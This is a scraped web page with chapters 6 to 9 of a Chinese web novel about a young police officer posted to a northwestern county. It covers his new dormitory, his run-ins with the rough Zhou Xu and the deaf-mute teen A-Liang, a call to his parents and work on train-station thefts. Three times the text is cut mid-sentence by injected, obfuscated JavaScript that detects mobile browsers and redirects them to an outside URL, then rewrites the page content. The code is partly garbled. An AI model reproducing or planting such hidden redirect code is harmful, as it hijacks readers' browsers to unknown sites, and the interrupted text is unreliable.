几只麻雀正啄食嵌在砖缝里的葵花籽,不怎么怕人,听见动静了才扑棱着翅膀飞走,家属院也不大,统共才三栋单元楼,李文斌进了东边那幢,带着方秉雪上到四楼,“哗啦啦”地掏出串钥匙:“我们这比较简陋,委屈了。” 方秉雪还拎着包裹:“这还叫简陋啊?” 窗明几净,两室一厅,站在门口都能感受到良好的采光,基础的家具也是有的,除了沙发茶几外,还有俩铁皮柜子靠着墙。 李文斌笑着:“我想着你从大城市来的……” 方秉雪说:“哪儿的话。” 砾川县是条件不好,但也不至于穷困,就是身处腹地,以传统农牧业为主,没发展什么工业,但近两年有意识地进行招商引资,有一定成效。 所以在方秉雪看来,这里就是个挺常见的普通县城。 充其量风沙大了点。 那也没啥,来之前方秉雪就了解过,防风固沙的工作也一直在推进,并取得了良好进展。 “我带你去吃饭,”李文斌继续,“熟悉一下咱的环境,单位食堂一天三顿都有饭,你要想自己做也行,有厨房的。” 方秉雪由衷道:“行,谢谢啊。” 他真心觉得条件很好了。 俩人下楼的时候,李文斌扭头过来:“对了,小方你的行李呢,还在车上?” 方秉雪应了声:“嗯。” 但下一秒,他又接上:“不着急,我等有时间就拿过来了,您先忙。” 李文斌也没客气,这段时间太忙了,刚才方秉雪带着调令办人事档案接收的时候,他都没来得及出现,报到核验完好一会儿,才气喘吁吁地赶到办公室。 所以这顿饭,吃得格外匆忙。 同时,也匆忙地把方秉雪交给了一位年轻警员,留下句带人熟悉熟悉环境,就头也不回地离开。 给方秉雪搞得有些愧疚,觉得前两日他那么闲,人家却忙得热火朝天,不地道。 年轻警员长了张圆脸,说话很腼腆:“您、您喜欢吃什么啊,我带您去。” 方秉雪笑了:“我才吃过饭……怎么称呼?” “我叫马睿,”对方不好意思地挠了挠后脑勺,“我去年警校毕业的。” “那我比您大点,”方秉雪伸出手,和人握了握,“我今年二十六。” 马睿“啊”了一声,紧张道:“是吗,一点也不像。” 他真诚地望着方秉雪:“您特好看!” 方秉雪说:“您也是。” 马睿脸都要涨红了:“哎呀,怎、怎么能这样称呼我呢?” 方秉雪看着他,笑得很温和:“那你也别跟我''您''来''您''去的了,多别扭呀。” 刚毕业的年轻警员,一般要先在派出所积累点经验再调岗,主要负责简单的治安案件,或者社区巡逻,方秉雪都能想象出来马睿被围在人群中的样子,青涩,拘谨,于是他说话也多了几分耐心:“我想先去买床被子,给宿舍整理下。” 马睿这才松口气:“行,我带你去!” 毕竟都是年轻人,没过多久说话就熟络起来,马睿坐在副驾驶上啃苹果,说因为名字的谐音,大家都叫他玛丽,不过他无所谓,觉得这个还挺好听的,说着说着就扭过身子—— “你要尝尝这个苹果吗,单位食堂里的,特脆甜!” 方秉雪转动方向盘:“开着车呢。” 马睿“哦”了一声,老实地坐回去了,过一会儿又忍不住扭过来:“我觉得你不仅长得好看,还很酷!” 到了对方所说的步行街,方秉雪踩下刹车,用指尖把墨镜往下按:“嗯?” “因为这个吗,”他解释道,“我眼睛有点过敏,所以带上,能挡着点光照。” 马睿捏着苹果核,给头摇得像拨浪鼓:“不是,我也说不上来。” 他就觉得方秉雪特别不一样。 反正马睿没见过皮肤这么白的人,乍一看,完全不像是个警察,说是明星他也信,穿着件白衬衫往那一站,眉目如画,个高腿长,气质尤其出众,有种清水出芙蓉般的淡淡疏离。 “……这个形容有点恶心了。” 方秉雪怀里抱了个枕头,不忍直视地回头:“你是不是偶像剧看多了?” 马睿呆滞地站在旁边:“没事,我已经不这样想了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15200772|165252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为他万万没想到,方秉雪的审美居然如此土味,从进了床品店的瞬间,就毫不犹豫地奔向了印着大红牡丹的被单。 在店员的卖力介绍下,他又欣喜地看向另外一套花开富贵。 “怎么了,”方秉雪有些疑惑,“不好看吗?” 多喜庆呀,看着就舒服自在。 说着,他就拿起枕头抱在怀里,感受了会就点头:“不错。” 马睿默默地跟在后面,没吱声。 如果说之前方秉雪给他的印象,是电视中呈现的大城市精英模样,喷外国香水,吃五分熟牛排,穿那种看着就滑溜溜的丝绸睡衣,那么现在立马接了地气,仿佛每天早上往脸上抹的都是宝宝霜。 最终,方秉雪愉快付钱。 他打开后备箱,极其满意地介绍:“两套,能换着洗一下。” 马睿:“啊对。” 除了这些,方秉雪也没别的要买的,洗漱用品自己带的有,等换季的时候再买衣服也来得及,至于厨房用品就更不必说,他压根就不会做饭。 所以马睿也没陪这个外地来的警员待太久,方秉雪说了,之后有时间再慢慢逛,反正他要在这里驻点出差一年,不着急。 给人送走后,方秉雪去洗了个车,进家属院已经快晚上了,他晃晃悠悠地给两大床被褥拎回去,准备洗的时候才发现,屋里没有洗衣机。 光秃秃的木板床上,只有套着塑封,没拆的床垫。 方秉雪:“……” 与此同时,他也意识到个问题,被褥洗完了还得晾干,所以,今晚要怎么睡? 说来惭愧,方秉雪生活自理能力很一般,小时候是妈妈带的好,长大后则是因为工作性质特殊,完全不计较,而脱离工作,下班回到家后,他其实挺讲究,挺矫情的。 楼上楼下也都是单位的人,但方秉雪初来乍到,实在做不出去人家家里蹭住,更何况他也不习惯跟别人睡一屋,所以当初听说西北驻点不是常规派遣规模,只是单人派遣后,毫不犹豫就报了名。 从骨子里来说,方秉雪还挺“独”的。 他站在窗户前抽了根烟,药店开的方子不错,烧退了,嗓子也好了大半,燃着的光点明明灭灭,烟雾拂过他瓷白的侧脸,消散在夜空。 而那双漂亮的眼睛,也逐渐睁大。 四楼视野不错,这个角度可以清晰地看到公安局门口,副所长李文斌从警车上下来,而跟在他身后的,是一个穿着黑夹克的高大男人。 不知是不是在嚼口香糖,很混不吝的模样。 方秉雪头一遭抽黄鹤楼,被呛到,剧烈咳嗽起来—— 与此同时,周旭似有所感,骤然抬头,看向不远处亮着的光。 窗帘被风吹得鼓起,轻轻摆动。 李文斌莫名回头:“怎么?” “没事,”周旭懒懒散散的,“估计野猫窜过去了。” 他神色如常,而背靠墙壁的方秉雪捂着嘴,憋得脸都要红了,眼眸里全是震惊。 第一次见面的时候,他就觉得周旭蛮横,举手投足特像身上背着几条人命—— 怎么,这么快就落网了? 7.第 7 章 都进去了,李文斌又问了句:“你明明是往楼上看的,哪儿来的野猫?” 周旭很无所谓地耸了下肩,脸上带着笑:“嗯,长翅膀了。” 两名拿着文件夹的警员匆匆打了声招呼,就头也不回地离开,走廊显得很空荡,墙壁刷了半人高的绿漆,转角处的宣传栏里贴着标语,李文斌推门的时候还在骂:“你天天净胡扯……给口香糖吐了!” 周旭已经坐在沙发上了,闻言,伸手扯住自己的单侧嘴角,往外拉:“你再看看呢?” “看什么看?” “口腔溃疡啊,”周旭松手,胳膊轻佻地搭在靠背上,“我嚼个含片不行吗,怎么为人民服务的?” 他身体语言太自在了,跟回自己家没两样,也没再去看李文斌气恼的背影,铁皮档案柜顶端放了盆吊兰,枝条瘦巴巴地垂下,轻轻摇曳,周旭翘着二郎腿等了会儿,外面终于传来了动静。 “这事没完!” “等出去后老子弄死他,他妈的哪儿来的狗多管闲事!” 与此同时,李文斌的声音炸雷似的响起:“都给嘴巴放干净点,这是警察局!干什么呢,啊?” 周旭坐在沙发上,没动,甚至还有心情扒拉了下人造革坐垫裂开的豁口,眼看海绵芯都要被他抠出来,连忙趁警察没发现,又往里头塞了塞。 就这个档口,小小的办公室里已经站了一圈儿人,李文斌扯了扯领口:“先调解一下。” 周旭还是没反应。 站最前头的男人满脸横肉,额角青肿一大块,环视了圈屋内后,直接朝周旭走来,伸着指头:“你就是他家长……” 周旭抬头:“站那。” 男人没反应过来:“什么?” “我说,”周旭看着他,“你给我站那。” 他这才从沙发上起来,一步步地走到对方面前,精壮高大的身躯带来极强的压迫感,几乎给人逼到墙角,嗓音低沉沙哑:“老子让你动了吗?” 这话一出,整间办公室鸦雀无声,剑拔弩张的氛围太重,已有年轻警员上前,试图用文件袋隔开两人:“都别冲动。” “没冲动,”周旭纹丝不动地站着,“该走什么流程就走,今儿来我也不是接人回去的,自个儿惹出来的事,别想着让我给收拾烂摊子,不过——” 他嗤笑一声。 “赔的钱一分不少,你要多少老子都给,蹲几天也没啥,但是下次见着你们这帮畜生,还打,打完该赔赔,该蹲蹲,我给他兜着。” “咯嘣”一声,应是周旭咬碎了嘴里的含片。 不对,含片哪儿有这个声音,分明是硬邦邦的糖果。 人都到公安局了,还有心思吃糖! 周旭目光这才移开,落在旁边一个瘦削少年身上,对方低垂着脑袋,头皮剃得泛青,腮帮子绷得很紧,整个人僵得如同超市里的塑料模特,连眼珠子都凝固住,直到察觉周旭的视线,才浑身都抖了下。 活了。 交涉的过程不长,调解室里空气流通不好,惹得周旭频频皱眉,其实事情并不复杂,少年是他店里的帮工,名叫阿亮,还没满十八岁,白天在火车站那遇到了一群聋哑人,脖子上挂着大爱无疆的卡牌,“呜呜哇哇”地拉扯路人,举起手中笔记本给人看。 上面密密麻麻地写着人名和数字,有五块的,十块的,不多,心意而已。 这种捐款行为发生在火车站,路人为了不耽误行程,大多都随手掏出点零钱应付。 只有阿亮冲上去了。 争执中,他被围堵殴打,愤怒的少年不要命地挥舞着拳头,冲向最后面冷眼指挥的男人—— 院墙外的路灯下,周旭给烟蒂丢了,重重地碾了碾。 随即就是一巴掌。 阿亮的头被打得偏到旁边,应该是磕破了嘴角,扭过来的时候,已经见了血。 “不怕死是吗,一打四你很能耐是吗?” 周旭抬手,又是一巴掌。 “还不敢跟我说,不是李局给我打电话,是不是就自个儿蹲在里头硬扛过去,你真想被拘留是吧,啊?” 阿亮抿着嘴,眼睛死死地盯着周旭看。 夜里有点冷,不知楼上哪户人家的秋裤忘收了,被风拍到空调外机上,啪嗒啪嗒地像是抽陀螺,抽得时间一久,风也累了,倦了,竟温柔地慢了下来,拂过漂亮的眉眼时,仿若吹皱一湖春水潋滟。 方秉雪调整着车辆后视镜,很认真的模样。 可他眼眸似冰。 看来,周旭并不是被带进去调查的,没过多久,反而从局里大摇大摆地离开,身边还跟了个挂彩的少年,方秉雪一开始并没有深究的意思,毕竟他已经就职,明天问下就行。 方秉雪只是想起来,车里还有个毛绒毯子没拿,准备带回去,在沙发上凑合一晚。 结果就发现了周旭的身影。 下手很重。 看得方秉雪眉头蹙起,脸颊都有些火辣辣的,他知道对方手劲儿大,怎么能在马路上动手打人? 他佯装调整后视镜,不动声色地观察,这里挺隐蔽的,头顶的路灯坏了,方秉雪和大半的车身都藏在黑暗里。 直到人影逐渐变大,停在身后。 离开已经显得不自然。 “喂。” 冷硬的声音响起:“你干什么呢?” 方秉雪的指尖微顿,无意识地摩挲了下镜框最上面,干干净净,一点浮灰也没有。 他没回头,含糊道:“有点小问题。” “是吗,”周旭插着兜,胳膊肘已经斜斜地靠在车头上,“我怎么不知道,我的车有问题?” 短暂的沉默中,方秉雪的喉结滚动了下—— 但并不是紧张和尴尬,而是一种隐约的征服欲和较劲感,甚至心跳都有些加快,他慢吞吞地转身,歪头看向周旭身后:“你怎么打人啊?” 周旭半眯着眼,没接话。 方秉雪直接跳过对方,很惊讶地看向那个少年:“天哪,你需要去医院吗?” 少年一言不发,沉默地站在那里。 头皮光秃秃的,眉骨和下巴都有血痂,棉质上衣可能被撕扯过,松松垮垮的领口已经变形,露出一大片青紫痕迹,牛仔裤的膝盖处磨破了,血混杂了沙土,一块儿黏在破边的毛絮上。 看着愣头愣脑的。 方秉雪继续:“你这是跟人打架了?” 可少年不说话,只是认真地看着他。 方秉雪心里泛起一种说不出的古怪感觉,似乎有什么东西即将脱口而出,他怔了下,转头看向周旭。 “嗯,”周旭也在看他,“阿亮不会说话,聋哑人。” 方秉雪张了张嘴。 “但他能看懂一些唇语,能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206582|165252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比划,就是小时候没系统地跟人家学,手语也乱七八糟的……打架闹事了,我来领人。” 周旭继续道:“就这么简单,所以,别用这样的眼神看我。” 他这才直起身子,短密睫毛下是极黑的瞳仁:“搞得我跟什么犯罪分子一样……” 方秉雪低头,“噗嗤”一声笑了。 然后眼睁睁地看着周旭冷酷转身,招手,带着阿亮骑上路边一辆重型摩托。 方秉雪睁圆眼睛:“咦,你不是说……” 他指的是这辆轿车,怎么不开车走呢。 周旭横跨上摩托,正在带一副骑行手套,长腿大喇喇地撑在地上,姿态懒散,连个眼神都没看过来:“骗你的。” 阿亮则手脚并用地爬上去,给自己带好头盔,抓住后座锃亮的扶手,才小心翼翼地看了方秉雪一眼,可还没等做出什么反应,周旭就一拧车把,引擎声轰鸣着响起,咆哮在深夜的西北小城。 ……留给方秉雪混杂着机油味的尾气。 他咬牙切齿地看向那逐渐缩小的背影,恨不得这会就去举报,骑车人没戴头盔,违章了! 扣分,罚款! 记录档案! 车速过快,停下的时候阿亮都有点晕眩,给头盔摘下,走路腿也发软,进到医院大厅后,周旭让他找地方坐,就去挂号。 阿亮跟在后面,比了个手势,摇摇头。 “放心,”周旭动作没停,“花不了多少钱,并且还能让那群人报销,都得还回来。” 可阿亮还是急切地摇头。 大晚上的,医院只能挂急诊,空气中弥漫着一股浅淡的消毒水味儿,周旭跟护士道谢,回眸:“我知道,他们干的肯定不止这些。” 阿亮的嘴巴抿成一条线。 除了伪装残障人士逼捐外,那群人还分工合作,偷窃路人钱包,可阿亮的眼睛又不是照相机,没法儿拍下证据,他又急,又恼,只会发出近似于嘶吼的怪叫声。 引得路人避之不及。 “我也知道,你不会主动跟人起冲突,”周旭拿着挂号单,带着阿亮往诊室走,“所以哥打你,只是因为你跟人家硬杠,还……” 周旭叹了口气,有些说不下去了。 他抬手,很敷衍地摩挲了下阿亮的头皮:“算了,要是我的话也不可能认怂挨打,对不住。” 阿亮“啪嗒”一声落了泪,乱糟糟地比划:【哥没用力,不疼。】 诊室门关上,医生给膝盖的伤口清创,可能上了点年纪,眼神有些不忍:“疼的话忍忍啊,一会就好了。” 阿亮沉默地摇摇头,但到底是孩子,额角有些冒汗。 周旭靠在门口:“怎么着,聊两句转移注意力?” 【哥,】阿亮打了个手势,【刚才那人是谁?】 周旭顿了下,罕见地卡了壳。 毕竟他还真的不知道人家姓甚名谁。 阿亮右手拇指食指成圈,从左脸颊划到下颌,表情赞叹:【他长得很好看。】 周旭乐了:“呦,还知道看脸了,出息。” 【那他到底是谁呢?】 酒精味弥漫,有些微微的凉意。 周旭沉默了会儿,突然笑骂道:“不知道……小兔崽子乱打听什么!” 他挑起眉梢,语气随意。 “反正,人家有相好的了。” 8.第 8 章 “谁啊,”王川迷茫地抬头,眼神清澈,“说的是我吗?” 下一秒,他毫不客气地抽出筷子:“怎么可能,老子四川嘞!别说拿二荆条当水果啃,往火锅底料里插根吸管都能当奶茶喝,说我怕辣?笑话!” 对面的方秉雪顿了下,还在坚持:“听说非常辣。” 王川明天就要走了,这会儿两人凑一块吃顿饭,虽说距离不远开车俩小时就到,但曾经一块警校后墙根罚跑圈的兄弟,已经默契地不提什么时候能再见面,毕竟太忙,同学会从清明约到立冬,都愣是没给人凑齐。 当时,大家商量得那叫一个热闹,刑侦支队的乱开玩笑,说聚的话要带手铐来当开瓶器,禁毒大队的纷纷发誓,这次绝不喝多了逼着大家尿检。 结果眼看雪下了一年又一年,如今只有方秉雪和王川,在边远的西北县城小饭店,对着一盘红彤彤的辣子鸡,相顾无言。 王川冷笑:“就这?” 方秉雪面无表情:“你试试。” 他是真的觉得很辣,闻着都呛! 接着,方秉雪就眼睁睁地看着王川伸手,把鸡块和辣椒段一块放进了嘴里。 王川眼睛一亮,开始大快朵颐:“香啊!” 片刻后,方秉雪犹犹豫豫的,也动了筷子。 这家店还是马睿推荐的,说是当地有名的家常饭馆,尤其是辣子鸡做的最好,热锅爆炒,煸出呛人的焦香,鸡肉被花椒和蒜片腌透了,外壳酥脆,内里是滚烫麻辣的鲜美,方秉雪刚咬了一口,就感觉喉咙吞下了一团火烧云—— 王川笑得快背过气去了,挥手招呼老板:“来瓶矿泉水……” “要冰的,或者AD钙奶……咳、咳咳!” 方秉雪辣得眼泪都出来了,捂着嘴不住地咳嗽,系着围裙的老板赶忙往杯子里添水:“店里没饮料,服务员去买了,马上回来……” 整间店唯一卖的“饮品”,就是啤酒。 方秉雪一把抓住杯子,入口的刹那浑身一僵—— 茶水是温热的,泡了茉莉花。 火烧云“砰”地一声核爆了。 所以,周旭踏进店里的时候,看到的就是这样一幕。 年轻男人背对着他坐在餐桌前,身体前倾,脊背弓起,白衬衫在腰际收成窄而利的线条,随着动作,隐约能看到起伏的蝴蝶骨。 因为他似乎在抽泣,桌面上散着用过的纸巾,旁边人也背对着门口,不知道表情,但能清晰地看到对方的手按在肩上,安慰似的顺着拍了拍。 周旭眯着眼,目光从那人后颈处移开,落在通红的耳垂上。 然后伸手,正好盖住了阿亮的脸。 阿亮正往前走呢,啥都没看着就被莫名地挡了回去,因为惯性,差点都没站稳。 “走,”周旭扒拉着脑袋,给人家转了个身,“换一家吃去。” 他上次见到对方还是一周前,没想到今天出来吃个饭,又碰见了,小县城就是这点不好,地方小,容易遇见熟人。 不对,那也不算他熟人。 这话不假,不熟的方秉雪完全没察觉门口的情形,总算止住了咳嗽,感觉自己的嘴唇都被辣得发麻、红肿,王川贱嗖嗖地坐在对面,给鸡块咬得嘎嘣响,同时对方秉雪的行为进行严厉谴责。 “暴殄天物,令人发指。” “开庭的时候记得带上这份辣子鸡,在你手里太冤了。” 方秉雪充耳不闻,继续用清水涮鸡块,原本酥脆的鸡块被他放在茉莉花茶里泡了会,变得蔫头耷脑。 不行,还是辣。 方秉雪彻底放弃,老老实实地吃别的菜,一顿饭结束,两人对彼此都颇有怨言,王川拎起外套:“走了!” 方秉雪咬着吸管:“嗯,托我给嫂子问好。” 话音落下,对方立刻跟川剧变脸似的羞涩起来:“哎呀,昨天打电话的时候还在说呢,可想我了……哎你瞅见我这裤子没,你嫂子给我买的。” 方秉雪没浪费的习惯,喝完了才给瓶子丢垃圾桶:“没,我瞎。” 王川当初可以留东部的,就是爱上了一个西北姑娘,这才千里迢迢地扎进这片戈壁砾土上,过上了蜜里调油的幸福日子。 半个小时后,方秉雪回到宿舍,耳朵眼里都还回荡着王川的喋喋不休。 搞得他都有点脑仁疼。 外套挂在玄关处,换鞋,洗手,方秉雪去阳台那里收换洗衣服,然后给电视打开,随便放了个台。 不然,屋里就显得太安静了。 入职后,工作已经步入正轨,变得紧张而严肃起来,砾川县这边警力配备不太够,刑侦完全都是过去的传统手段,方秉雪连着忙了好几天,过敏竟神奇地好了。 昨天晚上,马睿拿值班表给他签字的时候还在说:“看吧,西北养人啊。” 方秉雪笑了起来:“嗯,塞上江南。” 马睿立马纠正:“那得往银川平原走,雪饼你啥时候去张掖看看,七彩丹霞!可漂亮了!” 他跟方秉雪熟了后,有次王川过来开会,听着人家管方秉雪叫雪饼,于是也开始喊,绰号这玩意就像狼嗥,月光下,只要有第一声嚎叫,山脊中就会接连不断地滋儿哇跟上。 方秉雪已经放弃了挣扎:“等之后吧,有时间了就去。” 正巧,这会儿电视上正在播一个纪录片,介绍赤壁丹崖与彩色丘陵,方秉雪心不在焉地看了会儿,视线还是落在了自己的手机上。 他到现在,都没坦白从宽。 但是秦老师已经发现不对劲了,打电话过来问:“你出差,怎么车也不见了?” 从前年开始,方秉雪就不在家住了,在隔壁小区又买了套房子,平日里搁单位食堂吃,到了周末就回去蹭饭,秦老师火眼金睛,连着俩电话追杀,被方秉雪敷衍了过去。 今晚要是再不说,就不合适了。 满打满算,他都已经在西北待十来天,并且还要继续一年。 洗衣机和热水壶都买过了,床铺也是熟悉的颜色,装饰品倒是没布置,屋里显得有些空荡,没啥生活气息。 但方秉雪挺自在的。 他去浴室洗了个澡,认真地吹了头发涂香香,出来的时候整个人都清爽极了,拨通电话,刚一开口—— “等等,”秦素梅突然打断,敏锐地制止了对方,“你是不是要交代什么,犯啥事了?” 方秉雪的笑凝固在嘴角:“秦老师,您怎么说话呢。” “不对劲,”秦素梅沉吟道,“声音夹起来了。” 方秉雪:“啊?” “特别谄媚,你小时候给压岁钱弄丢了,说话就这样。” 秦素梅现在都记得,当时方秉雪还没读初中,穿着身干干净净的校服回来,先是拥抱了下方大夫,然后又过来搂着自己的胳膊,小心翼翼地笑,说爸爸妈妈,我还是你们最爱的宝贝吗? 边说话边眨眼睛,嗓音软乎乎的。 还拿小脑袋往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15223991|165252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们怀里拱。 秦素梅最了解自个儿子,长得乖,占了这张脸的便宜,都以为他规规矩矩特本分,其实啥都不怕,胆大包天,一肚子的心眼。 特别会装可怜。 方秉雪顿了会儿,清了清嗓子:“那……秦老师我跟您说个事,我要留西北了,一年。” 这下轮到秦素梅“啊”了一声。 “驻点出差,”他认真地解释,“一年后就结束派遣了,不过中间逢着假期我也能回去,吃甜胚子吗,给你们带呀!” 秦素梅半天没说话。 方秉雪趴在沙发上,头发还有点翘:“您给个指示,这么不吭声我心虚。” “你有什么心虚的,”秦素梅骤然提高音量,“又不是不让你去,为了工作都能理解,关键你这孩子怎么不跟家里说一声,气死我了!” “说,是不是因为我催你相亲才跑的?” “也不算是……我也想趁年轻多出去走走。” 秦素梅怒目圆睁:“真是翅膀硬了!” 方秉雪理亏,老老实实地听妈妈骂他,同时心里也松了一口气,可以,只要秦老师还愿意吵,说明就不是真的气坏了。 秦素梅骂了好一会儿,不过瘾,给电话递给方俊:“你来!” 方大夫正在藤椅上看报纸,闻言赶紧过来接话筒,同时揽着妻子的肩:“消消气,跟那臭小孩一般见识什么?” 秦素梅怒道:“什么小孩,方秉雪都多大了!我这么大的时候都生他了!” 这是真生气了,都开始连名带姓地叫了。 方俊点头:“是,你说的没错,这姓方的不懂事,活该他没人要。” 千里之外的方秉雪:“……” 那俩人似乎忘了正通着电话,叽里咕噜地说了好一会小话,方秉雪还不敢挂,面无表情地听着父母骂他,里面还夹杂着轻声细语的哄,说别气了,明天带我们家小梅去吃牛排…… 方秉雪这才开口:“爸,我也想吃牛排。” “嗬!” 方大夫大惊失色:“你怎么还在呐?” 与此同时,话筒“啪嗒”一声落在地上,秦素梅捞着线圈给拾起来,气已经消了大半:“决定了,改不了了?” “嗯,”方秉雪抠着皮沙发上面的滚边,“我人都已经入职了。” 秦素梅“哼”了一声:“那什么时候能回来?” “一年,”方秉雪简短地讲了下政策,“并且中间也能回去看看,更不耽误过年。” 两位父母还是明事理的,秦素梅没再多说什么,又骂了几句出出气,最后还是绕到最关心的问题上。 “你们大学宿舍那个谁,不就是在西北结婚的,你要是碰见合适的也行,咱家不在乎什么条件,关键是看你喜欢,直接就能带回来。” 方秉雪在沙发上翻了个身:“行。” 秦素梅回到了教育工作者的身份,语重心长:“多操点心,工作的时候别耽误个人问题,两全其美最好……哎,最好那姑娘白点,这样生的孩子漂亮,好看!” “眼睛也要大一点,皮肤白白的,我俩还能一块做美容,当然,”秦素梅重复了一遍,“只要你喜欢,都不是问题。” 客厅头顶的灯光有点刺眼,方秉雪翻了回去,趴在沙发上,枕着自己的臂弯。 没忍住,笑了起来,声音又软乎乎的了。 “行,要白,要大眼睛的。” “早晚给您带回来。” 9.第 9 章 干警察的,很多都有相似的习惯。 比如吃饭狼吞虎咽,夜间蹲守导致的作息紊乱,以及对烟茶的依赖。 此时的会议室内,一半手里握着保温杯,另一半儿正在抽烟,搞得屋里烟雾缭绕,跟电视剧里王母娘娘开蟠桃会似的,那叫一个“仙气飘飘”。 熬大夜的马睿脚步发虚地进来,给一大摞文件放桌上,有气无力:“领导……” “小方你也知道,”李文斌看也不看地给文件推过去,“你们那边技术发达,搞多镜头联动追踪……还有什么来着?” 方秉雪放下杯子:“红外补光。” 办案中的监控是个问题,目前,绝大部分地区依赖单镜头设备,功能也限于基础记录,而去年国内开始部署“天眼监控系统”,通过多摄像头网络实现区域覆盖,方秉雪所在的地区,正在进行着初步探索。 李文斌一拍桌子:“对!” 部分刑警没听过这些名词,好奇地打量着坐在对面的年轻人,没穿警服,身上是灰青色宽松卫衣,牛仔裤,看着和大学生没啥两样,刚来那天,还有人私下嘟囔说嘴上没毛,办事不牢。 方秉雪没解释,细白的手指搭在杯沿上,安静地听别人讲。 局里的意思他也都明白。 火车站监控配备的少,设备老化,夜间成像模糊,砾川县公安还采用着传统侦查手段,走访,蹲守,更多依赖人工盯防。 快到清明节了,不少在外打工的年轻人返乡祭祖,势必要在火车站停留,盗窃案的发生大幅度提高,已经达到了流窜作案,数额巨大的标准。 眼下的碰头会,商讨的就是这件事。 “还是得蹲,”一个叫老闫的民警开口,“咱轮岗排值班表吧,尤其是客流高峰时段,多点人,盯死了。” 挨着老闫的是他带的徒弟,也在点头:“是的,虽然说能借助监控,但是晚上拍出来的嫌疑人太模糊了,就个轮廓,没法儿锁定关键证据啊。” 特别是进出站这种客流量大的地方,狡猾的盗窃团伙往往趁着混乱,对旅客割包或者掏兜,得手后,迅速混入人群,逃离现场。 李文斌重重地搓了搓脸:“行,那就先这样吧。” 早春那会,方秉雪到达砾川县,如今已经过去了大半个月,工作还是有些胶着的状态,因为方秉雪提出要建立本地化数据库,把有盗窃前科的人员信息进行录入,用于快速筛查,说完后大家面面相觑,马睿率先举手:“我们有记录,是写在纸上的。” 方秉雪还挺高兴:“行啊,我看看。” 结果进了档案室,面对铁皮柜里堆积成山的文件夹,方秉雪看着扬起来的灰尘,沉默了。 “简易的电子表格就行,”他坚持道,“虽然不够系统化,但起码能增加这个意识。” 正是因为知道基层警察的辛苦,才不愿看到大家去档案堆里反复翻查手写笔录,方秉雪相信,将来总有一天,无论是监控还是数据库,都会取得突破性的专业进展。 他拭目以待。 早就过了下班时间,这个会开得也不长,已经有人收拾东西准备走了,门一推开,呛人的烟雾总算散开了点。 最后,只有办公桌最东边那还有。 因为李文斌手上的烟还没燃尽,他就这样指间夹着烟,看向方秉雪:“说吧。” “可以多画面拼接,做一个基础的监控墙,在候车厅这些重点地方交叉覆盖,手动标注路线。” 方秉雪也没走,单手托着腮讲话,语气很平静,仿佛这些内容早就打过腹稿,但他刚才没有发言,这会儿有些微长的额发垂下,挡住些许眉眼。 “但是咱成本太高了,”他低低地笑了下,“单盘磁带储存就三个小时,没法动态调整布局,得人工盯着,得采购花钱,得……” 目前来看,传统刑侦手段的确是最适合的。 李文斌咳嗽了会儿:“我们砾川火车站,有几个监控探头?” 方秉雪伸出两根手指,比了下。 “看来给县城跑遍了呀,”李文斌给烟头碾灭,“没事,人防为主、技防为辅嘛!” 他说着就站起来,在椅子拖曳的金属刮擦声中,笑着拍了拍方秉雪的肩:“走吧?” 方秉雪抬头,也笑了:“走。” - 李文斌猜的没错,方秉雪几乎给砾川县给跑遍了,虽然人口少,但县城面积挺大,放眼望去全是层层叠叠的山。 下班路上,他没事了也常跟人打招呼,几天时间,已经习惯了这里的方言——毕竟像马睿这样的年轻人说普通话,上了岁数的,更倾向于家乡话。 甚至有次,楼下有奶奶骂自己孙子不好好写作业,说白日里游摆四方,黑了借油补裤-裆,这句话方秉雪都能听懂,乐了半天。 熟悉完环境后,他觉得西北真是太有意思了。 方秉雪很喜欢。 周末的时候他没什么事,跟着去做反扒宣传,马睿再次被群众团团堵住,挤得脸都要红了,而冲在最前面的老爷子声如洪钟。 “警察同志,听完宣传后能领鸡蛋吗?” 方秉雪正在树根上绑横幅,面对马睿的目光决定见死不救,孩子太腼腆了,刚毕业没多久,在熟人面前那叫一个活蹦乱跳,但拉出门一溜,还是紧张到拼命眨眼。 得多锻炼锻炼。 马睿双手抱胸,防止挂在胸口的扩音喇叭被挤到,还要见缝插针地冲方秉雪做口型,神情绝望。 有同事笑了起来,撞了下方秉雪的肩:“喂,小玛丽叫你呢!” 方秉雪充耳不闻:“不认识。” 都过了半个多小时,这边针对商户的反扒宣传都做完了,马睿才狼狈地从人群中挤出来,冲着方秉雪嚷嚷:“我刚叫你,你不理我!” 方秉雪喝水的动作都没停:“和群众打交道,多正常。” 马睿一屁股坐凳子上,热坏了,脑门上都是汗:“可是我跟他们一说话,就紧张,就开始结巴了。” 他越说越委屈:“我一结巴,他们就笑我!” 